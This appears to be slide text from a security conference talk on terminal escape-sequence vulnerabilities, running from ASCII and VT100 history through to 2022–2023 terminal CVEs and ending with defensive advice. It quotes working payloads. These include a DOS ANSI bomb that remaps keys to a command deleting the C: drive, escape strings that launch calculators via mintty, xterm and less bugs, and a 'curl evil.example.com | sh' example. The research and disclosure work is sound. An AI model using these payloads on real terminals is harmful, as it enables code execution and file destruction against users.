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ASCII
American Standard Code for Information Interchange

• Introduced in 1963


• We take it for granted


• It’s everywhere, including this very slide


• ASA X3.4-1963
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X3.4-1967
really ASCII



60 years ago – proposals on “escape”

Bob Bemer, Communications of the ACM, Feb. 1960 D.A. Kerr, X3.2 Subcommittee, Task Group on “Escape”, 1963



Teletype Model 33

• Released 1963


• One of the first devices to use ASCII


• Used in the development of…





TeleTYpewriter: TTY



Lear Siegler
ADM-3A

• Released 1976


• Not the first “glass” terminal


• In kit form it cost under $1000







VT100 - 1978



VT100 - 1978



Example VT100 escape sequences
(Movement)

"\e[0;10r"  Set Top and Bottom Margins (DECSTBM) 

"\e[20;1H"  Cursor Position (CUP) 

"\e[2B"     Cursor Down (CUD)



Demo
On a VT100 emulator

printf '\e[0;10r'









We forced an unexpected reboot



That was a present day OpenBSD bug



1980s - PCs

https://www.pcjs.org/software/pcx86/sys/dos/ibm/2.00/

PCjs © 2012-2023 Jeff Parsons

https://www.pcjs.org/software/pcx86/sys/dos/ibm/2.00/


Demo
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“ANSI” art
$ iconv -f ibm437 BK-DOI.ANS | pv -q -L $[28800/8]

^[[25CAnsi by ^[[0m:  ^[[1mB^[[0ma^[[1;30md 
^[[37mK^[[0ma^[[1;30mrma  <AC^[[0mi^[[A 
^[[51C^[[1;30mD> 
^[[15C─   ─  ── 
───────^[[0m─^[[1;30m──^[[0m─^[[1;30m─^[[0m─^[
[1m─^[[0m── 
^[[1m────^[[A



“ANSI” art
$ iconv -f ibm437 BK-DOI.ANS | pv -q -L $[28800/8]

^[[25CAnsi by ^[[0m:  ^[[1mB^[[0ma^[[1;30md 
^[[37mK^[[0ma^[[1;30mrma  <AC^[[0mi^[[A 
^[[51C^[[1;30mD> 
^[[15C─   ─  ── 
───────^[[0m─^[[1;30m──^[[0m─^[[1;30m─^[[0m─^[
[1m─^[[0m── 
^[[1m────^[[A



ANSI Bombs
💣 💣 💣 💣 💣 💣 💣 💣

This file is a special HELP file for *****. To view it,


go to the DOS prompt and type TYPE HELP.TXT


^[[068;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p


^[[100;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p


^[[067;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p


^[[099;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p


^[[013;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p


^[[084;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p


^[[116;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p


^[[027;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p


^[[008;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p



ANSI Bombs 💣 💣 💣 💣 💣 💣 💣 💣



ANSI Bombs 💣 💣 💣 💣 💣 💣 💣 💣



Unix in the 90s?
flash.c

/* This little program is intended to quickly mess up a user's


   terminal by issuing a talk request to that person and sending


   vt100 escape characters that force the user to logout or kill


   his/her xterm in order to regain a sane view of the text.


   It the user's message mode is set to off (mesg n) he/she will


   be unharmed.


   This program is really nasty :-)


   Usage: flash user@host


*/
http://phrack.org/issues/46/4.html (1994)

http://phrack.org/issues/46/4.html


The evil strings

#define FIRST "\033c\033(0\033#8"


#define SECOND "\033[1;3r\033[J"


#define THIRD  "\033[5m\033[?5h"



An aside on the many ways to represent Escape
ASCII character number 27

• “\e” — “C-strings”


• ^[ — Unix, e.g.: cat -v, vis, manually typing it via Ctrl-V, Esc


• “\033” — Octal


• “\u001b” — in JSON


• “\x1B” — Or just 0x1B if you’re staring at hexdumps…


• “\27”



Digital VT520







2003
H D Moore

• Among the first published 
research


• Multiple “CVEs”



Window Title Reporting
CVE-2003-0063

printf "\e]0;title\a"



Window Title Reporting
CVE-2003-0063

printf "\e]0;calc.exe\a"



Window Title Reporting
CVE-2003-0063

printf "\e]0;calc.exe\a\e[21t"







Vulnerabilities repeating themselves

• Variants of xterm CVE-2003-0063 (title reporting): 
 

• ConEmu: CVE-2022-46387 

• SwiftTerm: CVE-2022-23465 

• WezTerm: (no CVE)

"
\
e
]
0
;
\
r
c
a
l
c
.
e
x
e
\
r
\
a
\
e
[
2
1
t
"



Alternative delivery methods
“curl it”

$ curl evil.example.com


#!/bin/sh


echo I am good


$ curl evil.example.com | sh -


I am evil


$ curl evil.example.com | cat -v


#!/bin/sh


echo I am evil #^H^H^H^H^H^Hgood



cat -v considered good
..a modern riff on “cat -v” considered harmful

• Anything that can write raw text to your terminal is potentially harmful


• Pipe it to “cat -v” or less if unsure


• …more later



Alternative delivery methods
“It’s always DNS”



Alternative delivery methods
“It’s always DNS”

$ host test-starwars 
test-starwars.lab is an alias for 
\"\027[3\;20\;7\;7\;7,~\027[3\;15\;3,~\027[3\;5\;10,~\027[3\;20\
;7,~\027[3\;15\;3,~\".lab. 
\"\027[3\;20\;7\;7\;7,~\027[3\;15\;3,~\027[3\;5\;10,~\027[3\;20\
;7,~\027[3\;15\;3,~\".lab has address 192.0.2.1


$ ping test-starwars 
ping: test-starwars: Name or service not known


$ docker run -it alpine 
/ # ping test-starwars 
PING test-starwars (192.0.2.1): 56 data bytes 
64 bytes from 192.0.2.1: seq=0 ttl=62 time=0.917 ms



Introducing…

Music over DNS







Demo
ConEmu and DNS



Demo
ConEmu and DNS



More delivery methods

• H D Moore’s “A Fictitious Case Study”


• Apache logs… what’s more relevant today?







What just happened?

• "\eP$qm\e\\" 
DECRQSS: “ReQuest Selection or Setting”


• "\eP$q;your-string-here\e\\"


• Unexpected “echoback” of a string


• String? ^C is a string too. Oh.


• I call this a “full echoback”



Developers, Developers, Developers
Another delivery method

• “Git for Windows” is actually secretly a mini-Unix


• “Git Bash” is mintty terminal with bash as the shell



Demo



Demo



What just happened?
mintty CVE-2022-47583

• Git uses less as a pager


• less had a bug in its OSC 8 hyperlink handling (CVE-2022-46663)


• …plus mintty CVE-2022-47583


• "\e]8;;http://\ec\eP$qm q :;xcalc;calc.exe;open -a 
Calculator.app;\r\e\\"

http://%5C


Vulnerabilities repeating themselves again

• Variants of xterm CVE-2008-2383 (DECRQSS): 

• iTerm 2: CVE-2022-45872


• SwiftTerm: CVE-2022-23465


• mintty: CVE-2022-47583


• Zutty: CVE-2022-41138 
(found by Carter Sande)


• Kitty: (no CVE, limited*)
*: don’t worry, there’s other bugs



An old scenario with a new exploit



An old scenario with a new exploit

• Shared system



An old scenario with a new exploit

• Shared system

• Administrator gets an alert about excessive memory usage
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An old scenario with a new exploit

• Shared system

• Administrator gets an alert about excessive memory usage

• Starts debugging…

• What command should they run?





top







What just happened?
procps-ng top 3.x + xterm ReGIS

• perl -e’$0=“\e[41mHello DEF CON”; 1 while 1’
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What just happened?
procps-ng top 3.x + xterm ReGIS

• perl -e’$0=“\e[41mHello DEF CON”; 1 while 1’


• ReGIS… build xterm with support, and run as: xterm -ti vt340


• printf “\eP0pL(A’XXX’)\rR(L)\e\\”


• …replies with something like: A1=“XXX” where that XXX is user controlled



Obscure? Yes, but, well…

• xterm ReGIS support isn’t default


• procps-ng top 3.x doesn’t do escaping. 4.x does. But few distros have it.


• Failed to convince top authors this is a security problem, so it works still; no 
CVE assigned.


• This can also be used as a unique Docker escape, processes inside Docker 
can be seen from the host outside



Let’s attack Kubernetes

• Credit to Eviatar Gerzi for initial research: 
Kubectl did not escape output


• I packaged several terminal exploits into a container: 
https://github.com/dgl/houdini-kubectl-poc

Kubernetes is a registered trademark of the Linux Foundation

https://github.com/dgl/houdini-kubectl-poc


Windows Terminal RCE

• Demo without the Docker container…







Demo (xterm RCE)
CVE-2022-45063

- and others, cross-platform!





Non-vulnerabilities?

• How bad are the things we can do with documented escape 
characters?


• Replies are the most interesting 
"\e[6n" replies with position: "\e[13;1R"


• "\e]4;1;?\a" replies with color string: 
“\e[4;1;rgb:d8c3/1e1e/0000\a”



Finding lack of escaping
CWE-150

• Put a string “\e[31mred” everywhere you can


• A file ✅ 
touch "$(printf "\e[31mred")"


• SSID ✅ 
(e.g. nmcli)


• Bluetooth device ✅ 
(e.g. bluetoothctl)


• Comment forms on websites ✅ 
 
…see STÖK’s talk for more



Demo



Protecting yourself
• Terminals deal with untrusted input, just like a browser


• Ensure correct output escaping in tools you write / use (i.e. the same as XSS)


• “Secure” settings in terminals (e.g. iTerm2)


• Patch them!


• Extra protection


• tmux (but check the `allow-passthrough` setting)


• Avoid raw “cat”; use less (if it’s fixed!), “cat -v”, “vis” or an editor


• For the paranoid: Don’t use fancy terminals; e.g. see “st”



… “Secure” settings …

iTerm 2 - Advanced Preferences



Protecting yourself
• Terminals deal with untrusted input, just like a browser


• Ensure correct output escaping in tools you write / use (i.e. the same as XSS)


• “Secure” settings in terminals


• Patch them!


• Extra protection


• tmux (but check the `allow-passthrough` setting)


• Avoid raw “cat”; use less (if it’s fixed!), “cat -v”, “vis” or an editor


• For the paranoid: Don’t use fancy terminals; e.g. see “st”



There are n-days here

Take one of:


• less CVE-2022-46663


• OpenBSD ksh’s lack of escaping


• procps-ng’s top


• …other ideas, from history, STOK’s talk, etc…


Look for a terminal bug, or:


• OSC 4 (color reporting): “rgb:0000/0000/0000”


• Change key reporting settings so user can’t ^C (works on some terminals) 



Releasing a tool



Vulnerabilities repeating themselves again, again

Variant of xterm CVE-2022-45063 (OSC 50): 

mintty: CVE unassigned



• iTerm 2: CVE-2022-45872 

• Windows Terminal: CVE-2022-44702 

• ConEmu: CVE-2022-46387, 
                 CVE-2023-39150 

• SwiftTerm: CVE-2022-23465 

• mintty: CVE-2022-47583 

• rxvt-unicode: CVE-2022-4170 

• xterm: CVE-2022-45063 

• less: CVE-2022-46663


• OpenBSD: (no CVE)


• WezTerm: (no CVE) 

• ZOC: (no CVE) 

• Kitty: (no CVE)


